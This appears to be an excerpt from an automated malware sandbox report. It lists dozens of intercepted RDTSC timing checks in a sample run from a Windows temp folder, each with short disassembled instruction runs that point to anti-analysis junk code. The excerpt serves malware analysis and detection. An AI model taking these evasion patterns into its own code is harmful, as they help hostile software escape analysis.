Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D263C0 second address: D263C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D26644 second address: D26648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D268FA second address: D268FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D268FE second address: D26908 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D26BD8 second address: D26BE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2A277 second address: D2A281 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC9F53DFD56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2A281 second address: D2A287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2A553 second address: D2A55D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC9F53DFD56h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2A6BE second address: D2A6D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9F53C6A81h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2F701 second address: D2F705 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D2F705 second address: D2F70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D36432 second address: D36462 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC9F53DFD61h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 jmp 00007FC9F53DFD5Ah 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b push ebx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D368A8 second address: D368F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9F53C6A87h 0x00000009 pop ebx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e jmp 00007FC9F53C6A83h 0x00000013 pop edx 0x00000014 push esi 0x00000015 jmp 00007FC9F53C6A85h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D36E25 second address: D36E2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D37263 second address: D37268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D35F75 second address: D35FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007FC9F53DFD5Eh 0x0000000b jnp 00007FC9F53DFD56h 0x00000011 pop ebx 0x00000012 push ebx 0x00000013 jmp 00007FC9F53DFD62h 0x00000018 jmp 00007FC9F53DFD5Ch 0x0000001d pop ebx 0x0000001e pushad 0x0000001f jmp 00007FC9F53DFD69h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D35FCC second address: D35FD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D35FD2 second address: D35FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jp 00007FC9F53DFD56h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D35FE3 second address: D35FED instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC9F53C6A76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D3C817 second address: D3C831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jmp 00007FC9F53DFD63h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D3C831 second address: D3C84F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FC9F53C6A76h 0x00000009 ja 00007FC9F53C6A76h 0x0000000f jne 00007FC9F53C6A76h 0x00000015 popad 0x00000016 jbe 00007FC9F53C6A7Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D3C84F second address: D3C880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jl 00007FC9F53DFD5Eh 0x0000000f je 00007FC9F53DFD56h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jnl 00007FC9F53DFD56h 0x00000020 jo 00007FC9F53DFD56h 0x00000026 jnc 00007FC9F53DFD56h 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D3C880 second address: D3C886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D3C886 second address: D3C88A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D3C88A second address: D3C88E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D42157 second address: D4218A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC9F53DFD56h 0x0000000a popad 0x0000000b jl 00007FC9F53DFD5Eh 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007FC9F53DFD56h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC9F53DFD66h 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4218A second address: D421A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D41B90 second address: D41BA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD63h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D41BA9 second address: D41BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4F450 second address: D4F466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD60h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4F466 second address: D4F46C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D4F46C second address: D4F470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D533F6 second address: D533FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D533FA second address: D53418 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC9F53DFD63h 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D5804F second address: D5805C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FC9F53C6A7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D5805C second address: D58085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FC9F53DFD5Ch 0x0000000d jl 00007FC9F53DFD56h 0x00000013 jmp 00007FC9F53DFD66h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D58085 second address: D58096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9F53C6A7Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D58096 second address: D5809A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D5809A second address: D580A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D580A0 second address: D580B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FC9F53DFD56h 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D580B0 second address: D580B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D60CAD second address: D60CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 jns 00007FC9F53DFD5Ah 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007FC9F53DFD61h 0x00000017 jc 00007FC9F53DFD56h 0x0000001d jmp 00007FC9F53DFD65h 0x00000022 push edx 0x00000023 pop edx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 jl 00007FC9F53DFD56h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D60B77 second address: D60B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D676E1 second address: D6774F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD68h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC9F53DFD5Ch 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FC9F53DFD69h 0x00000017 jmp 00007FC9F53DFD61h 0x0000001c jmp 00007FC9F53DFD67h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6774F second address: D6775B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC9F53C6A7Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67B01 second address: D67B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FC9F53DFD56h 0x0000000a jmp 00007FC9F53DFD68h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007FC9F53DFD5Ch 0x00000016 pop eax 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a je 00007FC9F53DFD58h 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67B40 second address: D67B46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67B46 second address: D67B4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67CD9 second address: D67CDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67E75 second address: D67E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67E79 second address: D67E7E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67E7E second address: D67ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FC9F53DFD66h 0x0000000b ja 00007FC9F53DFD56h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FC9F53DFD62h 0x0000001b push eax 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e jmp 00007FC9F53DFD62h 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67ECD second address: D67EE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Fh 0x00000007 jng 00007FC9F53C6A82h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D67EE6 second address: D67EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6A305 second address: D6A309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6A309 second address: D6A30F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6E23E second address: D6E261 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53C6A7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FC9F53C6A81h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6E3B0 second address: D6E3B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6E3B7 second address: D6E3C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC9F53C6A76h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D6E3C1 second address: D6E3FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD68h 0x00000007 jmp 00007FC9F53DFD5Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jmp 00007FC9F53DFD5Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7FEDB second address: D7FEF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007FC9F53C6A76h 0x0000000c popad 0x0000000d jl 00007FC9F53C6A7Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7FEF0 second address: D7FEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 ja 00007FC9F53DFD56h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D7FEFD second address: D7FF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8E920 second address: D8E92E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jp 00007FC9F53DFD56h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: D8E92E second address: D8E959 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC9F53C6A7Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FC9F53C6A88h 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAA3B4 second address: DAA3CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD63h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAA3CB second address: DAA3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAA3D5 second address: DAA3E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FC9F53DFD56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAA3E0 second address: DAA3E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA96BE second address: DA96C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA9CA3 second address: DA9CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA9DE9 second address: DA9DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA9DED second address: DA9DF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA9DF3 second address: DA9E32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9F53DFD5Fh 0x00000007 jmp 00007FC9F53DFD5Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FC9F53DFD68h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA9E32 second address: DA9E42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9F53C6A7Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DA9F8A second address: DA9F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FC9F53DFD56h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAA0FB second address: DAA104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DABA00 second address: DABA04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DABA04 second address: DABA12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FC9F53C6A7Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DACFFB second address: DAD027 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jl 00007FC9F53DFD56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d jno 00007FC9F53DFD56h 0x00000013 jmp 00007FC9F53DFD60h 0x00000018 pop ebx 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAD027 second address: DAD02F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAD02F second address: DAD034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFAC0 second address: DAFAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FC9F53C6A8Fh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFAED second address: DAFAF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFAF3 second address: DAFAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFB4E second address: DAFB54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\IDGHDGIDAK.exe	RDTSC instruction interceptor: First address: DAFB54 second address: DAFB59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
